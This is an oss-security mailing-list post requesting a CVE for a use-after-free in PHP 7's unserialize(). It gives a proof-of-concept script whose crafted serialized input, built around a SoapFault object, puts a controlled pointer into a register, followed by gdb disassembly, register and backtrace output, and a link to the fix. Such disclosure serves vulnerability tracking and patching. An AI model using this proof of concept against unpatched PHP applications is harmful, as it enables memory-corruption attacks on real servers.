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Date: Thu, 13 Aug 2015 11:35:06 +0800
From: "牛保龙" <niubl@...wnsec.com>
To: "oss-security" <oss-security@...ts.openwall.com>
Subject: CVE request - php 7 use after free
Description: ------------ the Hash table is full, resize it,ZEND_HASH_IF_FULL_DO_RESIZE(ht),but if one elment is already allocate in the old memery and re-allocate in the new memry and the var_hash struct also exists the old memery for the element, it can cause a use after free when unserialize() function has r/R referer. my english is poor. i hope i can explain clearly to you. Test script: --------------- <?php $addr = 0x4141414141414141; $sf = new SoapFault('1', 'string', 'detail', 'header','line', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:3:{i:0;".serialize($sf).'i:1;r:12;i:2;r:10;}'); //var_dump($ob); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Actual result: -------------- (gdb) disassemble $rip …… 0x000000000068cfe5 <+3109>: cmp $0xffffffffffffffff,%rsi 0x000000000068cfe9 <+3113>: je 0x68c538 <php_var_unserialize_ex+376> 0x000000000068cfef <+3119>: mov (%rbx),%rdi 0x000000000068cff2 <+3122>: callq 0x4276f3 <var_access> 0x000000000068cff7 <+3127>: test %rax,%rax 0x000000000068cffa <+3130>: je 0x68c538 <php_var_unserialize_ex+376> 0x000000000068d000 <+3136>: mov (%rax),%rdx 0x000000000068d003 <+3139>: mov 0x8(%rax),%eax 0x000000000068d006 <+3142>: test $0x4,%ah 0x000000000068d009 <+3145>: mov %rdx,(%r14) 0x000000000068d00c <+3148>: mov %eax,0x8(%r14) 0x000000000068d010 <+3152>: je 0x68c62c <php_var_unserialize_ex+620> => 0x000000000068d016 <+3158>: addl $0x1,(%rdx) 0x000000000068d019 <+3161>: mov $0x1,%eax 0x000000000068d01e <+3166>: jmpq 0x68c53a <php_var_unserialize_ex+378> 0x000000000068d023 <+3171>: nopl 0x0(%rax,%rax,1) 0x000000000068d028 <+3176>: cmp $0x3a,%al 0x000000000068d02a <+3178>: jne 0x68c538 <php_var_unserialize_ex+376> 0x000000000068d030 <+3184>: cmpb $0x22,0x2(%r12) 0x000000000068d036 <+3190>: jne 0x68c538 <php_var_unserialize_ex+376> 0x000000000068d03c <+3196>: lea 0x85e11d(%rip),%rax # 0xeeb160 <zend_standard_class_def> 0x000000000068d043 <+3203>: mov %rbp,%rsi 0x000000000068d046 <+3206>: mov %r14,%rdi 0x000000000068d049 <+3209>: mov %r11,0x10(%rsp) 0x000000000068d04e <+3214>: mov (%rax),%rdx 0x000000000068d051 <+3217>: callq 0x42773c <object_common1> (gdb) info reg rax 0x1400 5120 rbx 0x7fffb2f37fe0 140736195690464 rcx 0xb 11 rdx 0x4141414141414141 4702111234474983745 rsi 0x9 9 rdi 0x7f7d6f854820 140176718645280 rbp 0x7fffb2f37fd8 0x7fffb2f37fd8 rsp 0x7fffb2f37e40 0x7fffb2f37e40 r8 0x0 0 r9 0x652ec731c4b 6953224051787 r10 0x79812b 7962923 r11 0x0 0 r12 0x7f7d6f87b2b1 140176718803633 r13 0x72 114 r14 0x7f7d6f85ba60 140176718674528 r15 0x7f7d6f87b2b2 140176718803634 rip 0x68d016 0x68d016 <php_var_unserialize_ex+3158> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) bt #0 0x000000000068d016 in php_var_unserialize_ex (rval=rval@...ry=0x7f7d6f85ba60, p=p@...ry=0x7fffb2f37fd8, max=max@...ry=0x7f7d6f87b2b2 "", var_hash=var_hash@...ry=0x7fffb2f37fe0, classes=classes@...ry=0x0) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:1246 #1 0x000000000068cd03 in process_nested_data (rval=0x7f7d6f85ba60, objprops=0, elements=0, ht=0x7f7d6f855348, classes=0x0, var_hash=0x7fffb2f37fe0, max=0x7f7d6f87b2b2 "", p=0x7fffb2f37fd8) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:389 #2 php_var_unserialize_ex (rval=rval@...ry=0x7f7d6f812160, p=p@...ry=0x7fffb2f37fd8, max=0x7f7d6f87b2b2 "", var_hash=var_hash@...ry=0x7fffb2f37fe0, classes=classes@...ry=0x0) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:870 #3 0x000000000067f0ed in zif_unserialize (execute_data=<optimized out>, return_value=0x7f7d6f812160) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var.c:1037 #4 0x00000000007510ed in ZEND_DO_ICALL_SPEC_HANDLER () at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:577 #5 0x00000000007412ab in execute_ex (ex=<optimized out>) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:406 #6 0x000000000078d8ef in zend_execute (op_array=op_array@...ry=0x7f7d6f883000, return_value=return_value@...ry=0x0) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:450 #7 0x000000000070473e in zend_execute_scripts (type=type@...ry=8, retval=retval@...ry=0x0, file_count=file_count@...ry=3) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend.c:1399 #8 0x00000000006a7710 in php_execute_script (primary_file=primary_file@...ry=0x7fffb2f3a510) at /home/knownsec/Downloads/php-7.0.0beta2/main/main.c:2475 #9 0x000000000078f163 in do_cli (argc=2, argv=0xff39f0) at /home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:971 #10 0x000000000042c520 in main (argc=2, argv=0xff39f0) at /home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:1338
A fix has been committed:http://git.php.net/?p=php-src.git;a=commit;h=be54eb7db10c6aa838cef969822a5ae0f4e605e3
------------------
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